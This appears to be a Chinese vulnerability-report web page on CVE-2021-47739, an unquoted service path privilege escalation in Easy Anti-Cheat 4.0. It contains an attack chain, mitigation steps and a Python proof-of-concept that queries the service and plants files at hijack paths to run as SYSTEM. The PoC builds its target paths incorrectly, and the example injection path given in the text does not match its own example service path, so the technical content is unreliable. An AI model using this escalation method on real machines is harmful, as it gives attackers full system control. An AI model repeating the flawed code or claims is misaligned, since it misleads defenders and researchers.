IPBUF安全漏洞报告
English
CVE-2021-47739 CVSS 8.4 高危

CVE-2021-47739 Epic Games Easy Anti-Cheat 未引号服务路径本地权限提升漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47739
漏洞类型
未引号服务路径漏洞
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Epic Games Easy Anti-Cheat 4.0

相关标签

未引号服务路径本地权限提升Epic GamesEasy Anti-CheatWindows服务漏洞配置错误CVE-2021-47739高危漏洞

漏洞概述

CVE-2021-47739是Epic Games Easy Anti-Cheat 4.0中发现的一个高危本地权限提升漏洞。该漏洞源于Windows服务路径配置中未使用引号包裹可执行文件路径,攻击者可利用这一配置缺陷在系统启动时以高权限执行恶意代码。Easy Anti-Cheat是Epic Games广泛使用的反作弊解决方案,集成于多款知名游戏中。由于该服务以LocalSystem最高权限运行,漏洞允许本地非特权用户获得系统级完全控制权,成功利用可导致游戏作弊、恶意软件植入、持久化控制等严重后果。此类漏洞属于Windows系统安全中的经典配置错误类问题,但危害极大,需及时修复。

技术细节

该漏洞的根本原因在于Windows服务的ImagePath注册表项未使用引号包裹包含空格的路径。当服务配置类似C:\Program Files\Epic Games\Easy Anti-Cheat\eac_service.exe的路径时,Windows服务控制管理器会从左到右解析路径。由于Program和Files之间存在空格,系统会尝试执行C:\Program.exe或C:\Program Files\Easy.exe等不存在的文件。攻击者可将这些路径中任何一个替换为恶意可执行文件,服务重启时将以LocalSystem权限自动执行。技术利用步骤包括:1)识别目标服务路径配置;2)创建与中间路径同名的恶意程序;3)等待服务重启或触发重启;4)恶意代码以系统最高权限执行。攻击者通常需要文件写入权限(如普通用户账户)即可实施攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先枚举系统中的Windows服务,检查服务可执行文件路径是否包含空格且未使用引号包裹。可使用sc query或wmic命令查询服务配置
STEP 2
步骤2: 路径分析
识别未引号路径中的中间目录名,提取可被劫持的路径点。例如C:\Program Files\Epic Games\Easy Anti-Cheat\eac_service.exe可产生C:\Program.exe和C:\Program Files\Easy.exe等注入点
STEP 3
步骤3: 恶意文件部署
攻击者利用文件写入权限(如普通用户权限)在目标路径创建恶意可执行文件,文件名需与中间目录名匹配
STEP 4
步骤4: 触发服务重启
等待系统更新、游戏启动或其他触发事件导致Easy Anti-Cheat服务重启,或通过社会工程学诱导管理员重启服务
STEP 5
步骤5: 权限提升
服务控制管理器在解析路径时找到攻击者植入的恶意程序,以LocalSystem最高权限执行,攻击者获得系统完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47739 PoC - Unquoted Service Path Exploitation # Target: Epic Games Easy Anti-Cheat 4.0 # Note: This is for educational and authorized testing purposes only import os import sys import subprocess import shutil def check_unquoted_path(): """Check if Easy Anti-Cheat service has unquoted path vulnerability""" try: # Query service configuration via sc command result = subprocess.run( ['sc', 'qc', 'EasyAntiCheat'], capture_output=True, text=True ) # Parse BINARY_PATH_NAME from output for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Service Path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Unquoted path with spaces detected!") return True, path return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_unquoted_path(malicious_exe_path): """ Exploit unquoted service path by placing malicious executable WARNING: This is for authorized testing only """ # Example: If path is C:\Program Files\Epic Games\eac_service.exe # Attacker can place malicious code at: # C:\Program.exe or C:\Program Files\Easy.exe vulnerable, service_path = check_unquoted_path() if not vulnerable: print("[-] Service path appears to be properly quoted") return False # Extract potential injection points path_parts = service_path.replace('"', '').split('\\') drive = path_parts[0] + '\\' exploit_targets = [] cumulative_path = drive for part in path_parts[1:-1]: cumulative_path += part + '\\' if ' ' in part: exploit_targets.append(cumulative_path + part + '.exe') print(f"[!] Potential injection points found:") for target in exploit_targets: print(f" - {target}") # Copy malicious executable to target location for target in exploit_targets: try: target_dir = os.path.dirname(target) if not os.path.exists(target_dir): os.makedirs(target_dir) # For authorized testing: create a benign marker file with open(target, 'w') as f: f.write('This is a placeholder for authorized testing only') print(f"[+] Created test file at: {target}") print("[*] When service restarts, this executable will run with SYSTEM privileges") return True except PermissionError: print(f"[-] Insufficient permissions to write to: {target}") return False if __name__ == '__main__': print("=" * 60) print("CVE-2021-47739 Easy Anti-Cheat Unquoted Service Path") print("=" * 60) exploit_unquoted_path(None)

影响范围

Epic Games Easy Anti-Cheat 4.0及之前版本

防御指南

临时缓解措施
在官方补丁发布前,可通过以下方式临时缓解:1)手动修改注册表HKLM\SYSTEM\CurrentControlSet\Services\EasyAntiCheat下的ImagePath值,使用引号包裹完整路径;2)确保C:\Program Files\Epic Games等中间目录对普通用户不可写;3)部署端点检测与响应(EDR)解决方案监控异常进程启动行为;4)限制非管理员用户创建可执行文件到系统目录的权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表